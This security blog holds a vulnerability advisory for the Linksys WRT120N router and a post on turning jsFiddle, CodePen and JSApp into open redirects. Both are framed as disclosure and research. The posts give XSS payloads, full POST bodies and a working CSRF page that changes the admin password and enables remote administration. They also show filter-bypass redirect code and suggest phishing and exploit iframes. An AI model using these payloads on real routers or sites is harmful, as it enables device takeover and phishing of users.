vxhex: advisory

Sunday, September 15, 2013

Linksys WRT120N Multiple Vulnerabilities (XSS, Redirect, CSRF)

The following examples assume the device is located at 192.168.1.1. The attacks require authentication to the router or a CSRF attack against an authenticated user.

Firmware
v1.0.07 (Build 02) (Download)

Serial and PIN
The device serial number, PIN code, firmware, MAC, and other information can be found at https://192.168.1.1/Hidden_infoPage.stm

Open Redirect
Page: wait.stm
Param: redirect_url
https://192.168.1.1/wait.stm?redirect_url=http://www.google.com&delay_time=0

Reflected XSS
Page: traceroute.stm
Param: taddress
https://192.168.1.1/traceroute.stm?taddress=www.google.com'><script>alert(1);</script>

Persistent XSS
Page: Setup->Basic Setup
Param: host_name
Param: domain_name
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
host_name='><script>alert(1);</script>
&domain_name='><script>alert(1);</script>
&delay=0&opp=add&gateway1=&gateway2=&gateway3=&gateway4=&LangSel=0&change_lang=0&wan_type=0&curAtmIdx=3%27&dhcp_clt=1&mtu_type=0&lan_ip1=192&lan_ip2=168&lan_ip3=1&lan_ip4=1&lan_subnet_mask=0&lan_mask1=255&lan_mask2=255&lan_mask3=255&lan_mask4=0&dhcp_server=1&r_dhcp_server=1&start_ip4=100&num_addr=50&lease_m=1440&s_dns11=0&s_dns12=0&s_dns13=0&s_dns14=0&sdns1=0.0.0.0&s_dns21=0&s_dns22=0&s_dns23=0&s_dns24=0&sdns2=0.0.0.0&s_dns31=0&s_dns32=0&s_dns33=0&s_dns34=0&sdns3=0.0.0.0&wins1=0&wins2=0&wins3=0&wins4=0&time_zone=4+1&exec_cgis=SetBS&ret_url=%2Findex.stm%3Ftitle%3DSetup-Basic%2520Setup

Persistent XSS
Page: Setup->Advanced Routing
Param: router_name
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
router_name='><script>alert(1);</script>
&delay=0&op=add&NAT=1&nat_enable=1&RIP=0&set_num=0&sr_ip1=0&sr_ip2=0&sr_ip3=0&sr_ip4=0&sr_mask1=0&sr_mask2=0&sr_mask3=0&sr_mask4=0&sr_gw1=0&sr_gw2=0&sr_gw3=0&sr_gw4=0&routing_interface=0&exec_cgis=SetAR&ret_url=%2Findex.stm%3Ftitle%3DSetup-Advanced%2520Routing

Persistent XSS
Page: Wireless->Wireless Security
Param: sharedkey
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
sharedkey=</script><script>alert(1);//
&delay=0&sec_mode=psk1&enc_type=0&rds_ip1=0&rds_ip2=0&rds_ip3=0&rds_ip4=0&rds_port=1812&rds_secret=&group_key_second=3600&encryption_type=0&passPhrase=&generate=0&key1=&key2=&key3=&key4=&TX_Key=0&exec_cgis=WirWS&ret_url=%2Findex.stm%3Ftitle%3DWireless-Wireless%2520Security

Persistent XSS
Page: Applications & Gaming->Port Range Triggering
Param: name0 (All nameX fields are vulnerable)
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
name0="><script>alert(1);</script>
&delay=0&tport0_start=1&tport0_end=2&gport0_start=1&gport0_end=2&name1=&tport1_start=&tport1_end=&gport1_start=&gport1_end=&name2=&tport2_start=&tport2_end=&gport2_start=&gport2_end=&name3=&tport3_start=&tport3_end=&gport3_start=&gport3_end=&name4=&tport4_start=&tport4_end=&gport4_start=&gport4_end=&name5=&tport5_start=&tport5_end=&gport5_start=&gport5_end=&name6=&tport6_start=&tport6_end=&gport6_start=&gport6_end=&name7=&tport7_start=&tport7_end=&gport7_start=&gport7_end=&name8=&tport8_start=&tport8_end=&gport8_start=&gport8_end=&name9=&tport9_start=&tport9_end=&gport9_start=&gport9_end=&exec_cgis=AppPRT&ret_url=%2Findex.stm%3Ftitle%3DApplications%2520%2526%2520Gaming-Port%2520Range%2520Triggering

CSRF
Remote administration can be enabled and passwords can be changed via cross site request forgery. The following example page can be used.

<html>
<head><title>CSRF Test</title></head>
<body>
<form id="csrf" method="post"
action="https://192.168.1.1/cgi-bin/apply.cgi">
<!-- Change admin password to NewPassword --!>
<input type="hidden" name="change_pass" value="1" />
<input type="hidden" name="password" value="NewPassword" />
<input type="hidden" name="c_password" value="NewPassword" />
<input type="hidden" name="defPassword" value="admin" />

<!-- Enable remote administration via https port 6666 --!>
<input type="hidden" name="r_web_https" value="1" />
<input type="hidden" name="r_web_wleb" value="1" />
<input type="hidden" name="remote_adm" value="1" />
<input type="hidden" name="r_remote_adm" value="1" />
<input type="hidden" name="r_remote_proto" value="1" />
<input type="hidden" name="admin_port" value="6666" />

<!-- Other values expected by the script --!>
<input type="hidden" name="delay" value="0" />
<input type="hidden" name="beginip" value="0.0.0.0" />
<input type="hidden" name="endip" value="0.0.0.0" />
<input type="hidden" name="upnp" value="1" />
<input type="hidden" name="r_upnp" value="1" />
<input type="hidden" name="r_upnp_uset" value="1" />
<input type="hidden" name="r_upnp_dinetacc" value="0" />
<input type="hidden" name="wlan" value="1" />
<input type="hidden" name="reboot" value="0" />
<input type="hidden" name="exec_cgis" value="AdmM" />
<input type="hidden" name="ret_url"
value="%2Findex.stm%3Ftitle%3DAdministration-Management" />
</form>
<script>document.getElementById("csrf").submit()</script>
</body>
</html>

OS Command Injection
Similar models (like the WRT110) suffer from blind command injection attacks in parameters on the Ping diagnostics page. While unverified, it's likely the WRT120N contains similar vulnerabilities. The router repeatedly power cycled while testing this, so your mileage may vary.
https://192.168.1.1/ping.stm?paddress=X&ping_size=X&ping_no=X&ping_int=X&ping_time=X

Timeline

11 Apr 2013 - initial contact with support
12 Apr 2013 - ticket opened
17 Jul 2013 - asked for update
18 Jul 2013 - update, ticket still open
04 Sep 2013 - ticket closed

Response
Linksys support says that the 10 minute session timeout within the WRT120N will mitigate the attack, so no firmware update is to be released.

Sunday, November 18, 2012

Weaponizing jsFiddle, CodePen, and JSApp

Update : This post is now part of a series. Read part 2 (jsFiddle) and part 3 (codepen).

Sites such as jsfiddle.net and codepen.io allow web developers to quickly prototype and share code. They provide an interactive environment, where you can experiment with HTML, CSS, and JavaScript, then view the results in real time. These code snippets can be saved and shared, and sites providing these services are quickly gaining popularity. While many developers may be wary of strange URL shorteners, they don't think twice to click links from these sites, as they believe they'll just be viewing a sandboxed code snippet.

Today we'll be turning these sites into open redirects. Open redirects are web applications that allow an attacker to redirect you to a site of their choosing, while playing on the user's trust of the vulnerable website. They can be used to launch phishing attacks and redirect users to malicious content.
You can read more about open redirects at the CWE and OWASP.

Although these sites have taken precautions to prevent trivial redirects (such as blocking JS's window.location), they've missed some other techniques which we'll outline below. Such techniques can allow an attacker to deliver malicious iframes or redirects, essentially transforming these sites into URL shorteners.

The Redirection Connection: jsFiddle.net
Both jsFiddle and CodePen attempt to block trivial redirects by stripping out window.location strings. Additionally, jsFiddle even sandboxes your code into a separate iframe. However, it still leaves you other options: either a form-based redirect or inclusion of an arbitrary iframe. After entering your code, you can save your fiddle, go to share, and send your target the URL for the full-screen results.

Using a form-based redirect, we can send a target to an arbitrary URL (in this case, gawker.com). We'll make a form element with an action of our target URL, then automatically submit our form.

Add the following to your HTML text area, save, and share the full-screen URL.

<form id="fun" action="http://www.gawker.com" />
<script>document.getElementById("fun").submit();</script>

Our second, less sexy option, is an iframe to our target URL. You have a few options here: 1x1px iframe running browser exploits, a full-screen frame, serve up spam, or perhaps some type of UI-redressing techniques. You could also create an official-looking login form and phish for credentials.

For a full screen frame, use the following code in the HTML input area:

<iframe src="http://www.gawker.com" style="width: 100%; height: 2000px" />

You get a lame jsFiddle nav bar on top, but luckily that won't be a problem using CodePen! You can read about how to remove the jsFiddle nav bar in part 2.

Redirection Indiscretion: CodenPen.io
Both of the above techniques also work on CodePen, and you don't even have the branded navigation bar on top! However, they've also given us a 2nd redirection option. Even though they attempt to strip out "window.location" strings, we can use the tried-and-true combo of eval() + fromCharCode(), and redirect our target to an arbitrary URL.

By converting our desired redirect to it's ASCII character codes, CodePen doesn't recognize our window.location string. You can use sites such as this one to convert your string. Here we've encoded: window.location = "http://www.google.com";

Click on New Pen, enter the code into your HTML section, save, and share the full screen URL.

<script>
eval(String.fromCharCode(119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 32, 61, 32, 34, 104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 103, 111, 111, 103, 108, 101, 46, 99, 111, 109, 34, 59));
</script>

This attack will work as long as the eval() function is available. Even if the CodePen filter attempts to translate fromCharCode() strings, you can utilize other encoding methods such as base64 and URL encoding to accomplish the same attack.

Another simple version of this breaks up the filtered string with whitespaces, then removes the spaces upon eval().

<script>
eval("win dow.loca tion='http://www.google.com';".replace(/\s/g,''));
</script>

Update: Codepen now includes updates to alert users of 3rd party redirects. You can learn how to disable these alerts in part 3.

Bonus round: JSApp.us
As a bonus, we'll also look at jsapp.us, which allows experimentation with NodeJS code. This can also be leveraged to create a redirection service. To share JSApp code, you'll need to create a free account. Click login from the commands on the right, create a new user, and enter your information. You can use a service such as mailinator.com (and its many different domains) to create a throw-away account. Once logged in, you can save your file and deploy it to a JSApp subdomain for sharing.

You can redirect a user to an arbitrary URL using the following code:

var http = require('http');
http.createServer(function (req, res) {
res.writeHead(302, {'Location': 'http://google.com'});
res.end();
}).listen();

I'm sure a NodeJS coder can probably also come up with a couple of other neat tricks to take advantage of.

Summary
When you allow end-users to enter arbitrary code as part of the functionality for your web application, it's hard to do proper input validation. The sites we looked at today used a blacklisting approach (by stripping out certain "bad" strings) which we were able to bypass using basic HTML and JavaScript. Indeed, it could be argued that these features are a legitimate use of their applications. Essentially, it's trivial to turn the sites into nothing more than URL shorteners, which could be used for redirects, serving spam, phishing campaigns, and delivering malicious code.

With small adjustments or stricter filtering policies, weaponizing these platforms could become more difficult. This genre of webapp is a quickly growing, however, and we've only looked at a couple of the more popular sites.

Continue to part 2 of the series.